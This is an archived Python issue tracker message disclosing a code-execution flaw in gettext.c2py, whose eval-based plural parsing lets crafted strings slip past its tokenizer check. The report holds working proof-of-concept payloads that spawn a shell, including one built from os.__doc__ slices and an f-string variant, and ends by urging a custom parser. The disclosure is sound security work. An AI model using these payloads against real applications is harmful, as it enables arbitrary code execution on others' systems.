This issue tracker has been migrated to GitHub, and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

Author Carl Ekerot
Recipients Carl Ekerot
Date 2016-10-30.16:58:40
SpamBayes Score -1.0
Marked as misclassified Yes
Message-id <1477846721.72.0.339090840874.issue28563@psf.upfronthosting.co.za>
In-reply-to
Content
The c2py-function in the gettext module is seriously flawed in many ways due
to its use of eval to create a plural function:

   return eval('lambda n: int(%s)' % plural)

My first discovery was that nothing prevents an input plural string that
resembles a function call:

   gettext.c2py("n()")(lambda: os.system("sh"))

This is of course a low risk bug, since it requires control of both the plural
function string and the argument.

Gaining arbitrary code execution using only the plural function string requires
that the security checks are bypassed. The security checks utilize the tokenize
module and makes sure that no NAME-tokens that are not "n" exist in the string.
However, it does not check if the parser succeeds without any token.ERRORTOKEN
being present. Hence, the following input will pass the security checks:

   gettext.c2py( '"(eval(foo) && ""'  )(0)

   ----> 1 gettext.c2py( '"(eval(foo) && ""'  )(0)
   gettext.pyc in <lambda>(n)
   NameError: global name 'foo' is not defined

It will pass since it recognizes the entire input as a STRING token, and
subsequently fails with an ERRORTOKEN.

Passing a string in the argument to eval will however break the exploit since
the parser will read the start-of-string in the eval argument as end-of-string,
and the eval argument will be read as a NAME-token.

Instead of passing a string to eval, we can build a string from characters in
the docstrings available in the context of the gettext module:

   gettext.c2py('"(eval('
       'os.__doc__[152:155] + ' # os.
       'os.__doc__[46:52] + '   # system
       'os.__doc__[318] + '     # (
       'os.__doc__[55] + '      # '
       'os.__doc__[10] + '      # s
       'os.__doc__[42] + '      # h
       'os.__doc__[55] + '      # '
       'os.__doc__[329]'        # )
       ') && ""')(0)

This will successfully spawn a shell in Python 2.7.11.

Bonus: With the new string interpolation in Python 3.7, exploiting gettext.c2py
becomes trivial:

   gettext.c2py('f"{os.system(\'sh\')}"')(0)

The tokenizer will recognize the entire format-string as just a string, thus
bypassing the security checks.

To mitigate these vulnerabilities, eval should be avoided by implementing a
custom parser for the gettext plural function DSL.
History
Date User Action Args
2016-10-30 16:58:41Carl Ekerotsetrecipients: + Carl Ekerot
2016-10-30 16:58:41Carl Ekerotsetmessageid: <1477846721.72.0.339090840874.issue28563@psf.upfronthosting.co.za>
2016-10-30 16:58:41Carl Ekerotlinkissue28563 messages
2016-10-30 16:58:40Carl Ekerotcreate